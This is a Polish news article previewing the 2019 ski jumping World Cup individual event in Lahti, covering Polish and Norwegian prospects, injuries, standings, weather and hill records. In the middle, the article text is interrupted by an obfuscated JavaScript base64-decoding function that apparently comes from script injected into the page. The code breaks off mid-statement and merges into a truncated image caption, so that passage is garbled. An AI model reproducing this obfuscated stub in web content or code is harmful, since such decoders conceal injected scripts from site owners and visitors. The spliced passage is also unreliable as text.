PŚ Lahti: Polacy w gronie faworytów, norweskie gwiazdy rezygnują ze startu! (LIVE)

Drużynowy konkurs Pucharu Świata w Lahti nie ułożył się po myśli polskich skoczków. Biało-czerwoni zakończyli rywalizację poza podium, a z wygranej cieszyli się Austriacy. Jeszcze większe powody do niezadowolenia przed dzisiejszą rywalizację indywidualną mają Norwegowie, którzy nie dość, że wczoraj uplasowali się poza finałową ósemką, to dziś pojawią się na starcie w zaledwie trzyosobowym składzie w związku z urazami Daniela Andre Tande i Andreasa Stjernena.

Program zawodów:

• 10 lutego 2019 r. (niedziela):
  • 15:15 - seria próbna
  • 16:15 - konkurs indywidualny (TVP 1, TVP Sport, Eurosport 1, lajfy.com >>>)

Tekstowa relacja LIVE (FIS) będzie dostępna także na SkokiPolska.pl, poniżej.

Wczorajszy konkurs drużynowy przyniósł sporo niespodziewanych rozstrzygnięć, które mogą mieć wpływ także na dzisiejszą rywalizację indywidualną w Finlandii. Na skoczni Salpausselka po triumf sięgnęli Austriacy, w których ekipie brylował Stefan Kraft. Mistrz świata sprzed dwóch lat, właśnie z Lahti, indywidualnie uzyskał drugą notę, co z pewnością przyniesie mu dodatkową pewność siebie, a także niekwestionowaną rolę jednego z faworytów do zwycięstwa. Co ciekawe, najmocniejszym zawodnikiem w całej 40-osobowej stawce był Niemiec Karl Geiger, który odwrócił tym samym niekorzystny trend w swojej sportowej dyspozycji. Trzeci rezultat uzyskał reprezentant Japonii, jednak nie był nim lider klasyfikacji generalnej Pucharu Świata, Ryoyu Kobayashi, a jego o rok starszy kolega, Yukiya Sato.

Pełne wyniki sobotniego konkursu >>>

Mimo tego, że Polacy nie wskoczyli na podium w rywalizacji drużynowej, to indywidualnie, trzech podopiecznych trenera Stefana Horngachera uzyskali noty na miarę od czwartej do szóstej pozycji. Mowa oczywiście o Dawidzie Kubacki, który był też autorem najdłuższego sobotniego skoku (131 metrów), Kamilu Stochu i Piotrze Żyle. O poprawę wyniku z pewnością będzie chciał powalczyć Jakub Wolny, który wczoraj był najsłabszym ogniwem polskiej drużyny. Poza wymienioną czwórką, w konkursie wystartują jeszcze dwaj nasi reprezentanci - Maciej Kot oraz Paweł Wąsek. Dla tego pierwszego będzie to jedna z ostatnich szans, aby przekonać szkoleniowca biało-czerwonej kadry do swojej przydatności w drużynie przed Mistrzostwami Świata w austriackim Seefeld.

function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ande (fot. Julia Piątkowska)" src="http://www.skokipolska.pl/wp-content/uploads/ngg_featured/8H7A8328-300x199.jpg" alt="Daniel Andre Tande (fot. Julia Piątkowska)" width="300" height="199"> Daniel Andre Tande (fot. Julia Piątkowska)

Na starcie niedzielnych zmagań w Kraju Tysiąca Jezior pojawi się łącznie 50 zawodników z 13 krajów. W tym gronie będzie tylko trzech reprezentantów Norwegii. Po upadku w piątkowym treningu, coraz bardziej intensywny ból kolana zaczął odczuwać Daniel-Andre Tande, którego w drużynowym konkursie zastąpił Andreas Stjernen. Ten drugi z kolei, zaliczył dramatycznie wyglądający upadek w trakcie serii próbnej poprzedzającej drużynówkę. Dla obu zawodników, mimo iż po upadkach oddali jeszcze po jednym skoku, skutki tych zdarzeń okazały się zbyt poważne, a sztab szkoleniowy na czele z trenerem Alexandrem Stoecklem, nie chcąc ryzykować poważniejszych urazów, zdecydował o wycofaniu swoich podopiecznych z niedzielnych zawodów. W związku z tym, do konkursowej pięćdziesiątki w ostatniej chwili dołączeni zostali zawodnicy, którzy w piątkowych kwalifikacjach zajmowali 51. i 52. lokatę, czyli Jurij Tepes (Słowenia) i Cestmir Kozisek (Czechy). Przypomnijmy, że piątkową rundę eliminacyjną wygrał Ryoyu Kobayashi, przed Norwegiem Halvorem Egnerem Granerudem i wspominanym już Stefanem Kraftem. Najwyżej sklasyfikowanym Polakiem był Dawid Kubacki, który zajął piątą pozycję.

Pełne wyniki piątkowych kwalifikacji >>>

Dzisiejszy konkurs na Salpausselce to dla zawodników także kolejna odsłona walki o punkty do klasyfikacji generalnej Pucharu Świata 2018/2019. W tej niekwestionowanym liderem jest Ryoyu Kobayashi, który ma na swoim koncie 1380 punktów. Drugie miejsce, ze stratą 451 punktów do Japończyka zajmuje Kamil Stoch (929 pkt), a trzeci jest Stefan Kraft (917 pkt). W czołowej dziesiątce znajdują się jeszcze dwaj Polacy - Piotr Żyła (827 pkt / 4. miejsce) oraz Dawid Kubacki (741 pkt / 5. miejsce). Biało-czerwoni są z kolei liderami Pucharu Narodów, mając w swoim dorobku 3687 punktów. Drudzy są Niemcy (3373 pkt), a trzeci Japończycy (2785 pkt).

Pełna klasyfikacja PŚ i PN 2018/2019 >>>

Pogoda: Podczas niedzielnego konkursu, zawodnikom będzie towarzyszyć temperatura oscylująca w okolicach 1 stopnia Celsjusza. Według prognoz, prędkość wiatru na skoczni może momentami dochodzić do 3,9 m/s, co z pewnością nie będzie bez wpływu na przebieg rywalizacji.

Przypomnijmy, że areną dzisiejszych zmagań będzie duża skocznia Salpausselka (K-116 / HS-130) w fińskim Lahti. Jej rekordzistą jest Norweg Johann Andre Forfang, który podczas Mistrzostw Świata w 2017 roku, poszybował tam na odległość 138 metrów. Warto zaznaczyć, że skocznia ta odpowiada także polskim skoczkom - wszak biało-czerwoni podczas pucharowych zmagań wywalczyli na niej już 11 miejsc na podium. Trzykrotnie wygrywał tam Adam Małysz, a dwukrotnie Kamil Stoch. Wszystkie biało-czerwone podia widnieją poniżej.

Więcej informacji o dużej skoczni w Lahti i zawodach na niej rozgrywanych >>>

Lista startowa niedzielnych zawodów:

Tekstowa relacja LIVE (FIS):

Informacje z naszego Twittera:

Tweets by @SkokiPolska

informacja własna